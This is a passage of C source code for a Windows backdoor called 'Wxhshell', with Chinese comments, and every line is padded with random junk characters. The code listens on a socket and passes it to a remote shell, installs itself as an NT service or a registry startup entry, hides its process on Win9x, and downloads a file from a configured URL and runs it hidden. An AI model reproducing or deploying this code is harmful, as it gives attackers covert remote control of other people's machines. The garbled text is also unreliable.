ULONG UniqueProcessId; 9c1q:>|
ULONG InheritedFromUniqueProcessId; {4p7r7n'
} PROCESS_BASIC_INFORMATION; $U. 2"
dr(e)eD(R>
PROCNTQSIP NtQueryInformationProcess; 8
?:W{GAo
I<xcVY9L
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KK-+vq
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6Q+VW_~
!ueh%V Ky
HANDLE hProcess; FgPmQ
PROCESS_BASIC_INFORMATION pbi; a"1LF`
AP=SCq;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `fVzY"Qv k
if(NULL == hInst ) return 0; cRf;7G
~Sd,Tu%:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5VfpeA`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y4!fu<[i
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o5Knot)Oy
[r'hX#
if (!NtQueryInformationProcess) return 0; x0TE+rf5
soKR*gJ,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a{?>F&vnU
if(!hProcess) return 0; o+R(ux"
I4c%>R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )_kEy>YscZ
b~8&P_
CloseHandle(hProcess); CyB1`&G>
U[#q"'P|l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $.B}zY{
if(hProcess==NULL) return 0; ~ r$I&8
Ox'KC
HMODULE hMod; % %2~%FVb
char procName[255]; u/\Ipk/
unsigned long cbNeeded; otP2qAI
)S_%Ip
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )MX%DQw
%U1HvmyK
CloseHandle(hProcess); 0nlh0u8#
`X`|]mWj
if(strstr(procName,"services")) return 1; // 以服务启动 A+3=OBpkW0
#KtV 4)(
return 0; // 注册表启动 P|aSbsk:I<
} FOcDBCrOe
Ew9MWlk
// 主模块 >v%UV:7ap
int StartWxhshell(LPSTR lpCmdLine) ];0:aSi#
{ EkN>5).
SOCKET wsl; *I9G"R8
BOOL val=TRUE; kaCn@$
int port=0; W*4!A\K
struct sockaddr_in door; er !+QD,EM
CR|>?9V
if(wscfg.ws_autoins) Install(); `R$bx 64
{Z[kvXf"mZ
port=atoi(lpCmdLine); ):Ekf2
s: MJ{r(s
if(port<=0) port=wscfg.ws_port; TR{dNO!q
ayA_[{j%X
WSADATA data; :!,.c$M
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 81wmKqDEs
'FN3r
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r8L'C
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H329P*P
door.sin_family = AF_INET; yhyh\.
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )#Y:Bj7H@2
door.sin_port = htons(port); P~"""3de4
Fd9Z7C
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7|?Ht]
closesocket(wsl); 6r,zOs-I]
return 1; 9p"';*{=
} m$q*
UAdj[m61
if(listen(wsl,2) == INVALID_SOCKET) { /B
closesocket(wsl); jbTyM"Y
return 1; j !`2Z@
} ]g9n#$|.
Wxhshell(wsl); =iPQ\_ON@
WSACleanup(); u\UI6/
jTY{MY Jh
return 0; e?-LB
]PXpzruy
}
(8j@+J
ve=
nh]N
// 以NT服务方式启动 g|4v>5Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HSk}09GV
{ .ZH5^Sv$vp
DWORD status = 0; :.\h.H;
DWORD specificError = 0xfffffff; XpOQBXbt
{*4Z9.2c*
serviceStatus.dwServiceType = SERVICE_WIN32; \V.U8asfI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _]=, U.a=/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VnMiZAHR
serviceStatus.dwWin32ExitCode = 0; 8m)E~6
serviceStatus.dwServiceSpecificExitCode = 0; &oiBMk`*
serviceStatus.dwCheckPoint = 0; F?TmOa0
serviceStatus.dwWaitHint = 0; 2VS#=i(B^
/ec~^S8X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k\M">K0E
if (hServiceStatusHandle==0) return; BH=CoD.
z3-AYQ.H
status = GetLastError(); u\G\KASUK%
if (status!=NO_ERROR) hn u/
{ r.zJ/Tk
serviceStatus.dwCurrentState = SERVICE_STOPPED; OAz-w
serviceStatus.dwCheckPoint = 0; h%@#jvh?4
serviceStatus.dwWaitHint = 0; vweD{\b
serviceStatus.dwWin32ExitCode = status; n?A;'\cK
serviceStatus.dwServiceSpecificExitCode = specificError;
6@ )bZ|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R0mWVgoz
return; sFxciCpN
} u8@>ThPD
-n'%MT=Cd
serviceStatus.dwCurrentState = SERVICE_RUNNING; P(Hh%9'(
serviceStatus.dwCheckPoint = 0; ZCVN+::Y
serviceStatus.dwWaitHint = 0; :YZMRJL
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _Msaub!N
} \Tj(]
bga2{<VF
// 处理NT服务事件,比如:启动、停止 :dzamHbX9
VOID WINAPI NTServiceHandler(DWORD fdwControl) -n~VMLd?@
{ _&m
switch(fdwControl) -vC?bumR%
{ }'
t*BaU
case SERVICE_CONTROL_STOP: Djf,#&j!3
serviceStatus.dwWin32ExitCode = 0; o,RLaS,BK'
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2]*2b{gF,
serviceStatus.dwCheckPoint = 0; ffYiu4$m
serviceStatus.dwWaitHint = 0; Au/n|15->C
{ 1%6}m`3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VN8ao0^d;d
} mWM!6"
return; ZK]C!8\2|
case SERVICE_CONTROL_PAUSE: |bz,cvlP
W
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]={{$}8.
break; bdCpGG9
case SERVICE_CONTROL_CONTINUE: -.E<~(fad
serviceStatus.dwCurrentState = SERVICE_RUNNING; hw&R.F
break; *l^%7Wrk
case SERVICE_CONTROL_INTERROGATE: R#Bdfmldq
break; ;=6~,k)
}; 3J}bI{3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); up7]Yy;o=
} jM3{A;U2
<&rvv4*H
// 标准应用程序主函数 YvK8;<k@-?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?79ABm
a
{ 6(}8[i:
SpY%2Y.Dy
// 获取操作系统版本 iB 5 Se
OsIsNt=GetOsVer(); # -Ts]4v
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6F3#Rxh
7=8e|$K_
// 从命令行安装 ZWSYh>"
if(strpbrk(lpCmdLine,"iI")) Install(); I%whM~M1+
3say&|kJ
// 下载执行文件 LdAfY0
if(wscfg.ws_downexe) { "tbKKh66
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /%U+kW
WinExec(wscfg.ws_filenam,SW_HIDE); e;<=aa)}?
} !285=cxz
wvA@\-.+
if(!OsIsNt) { kGMI
?
// 如果时win9x,隐藏进程并且设置为注册表启动 7PZ0
HideProc(); rr#&0`]
StartWxhshell(lpCmdLine); Hay`lA2@
} fG5 U' Vw
else m$:o+IH/
if(StartFromService()) b{t'Doe
// 以服务方式启动 }cG!93
StartServiceCtrlDispatcher(DispatchTable); 7!`,P
else snV,rZ
// 普通方式启动 s7<x~v+^
StartWxhshell(lpCmdLine); FHI`/
RI"A'/56
return 0; -lm\~VZT3
}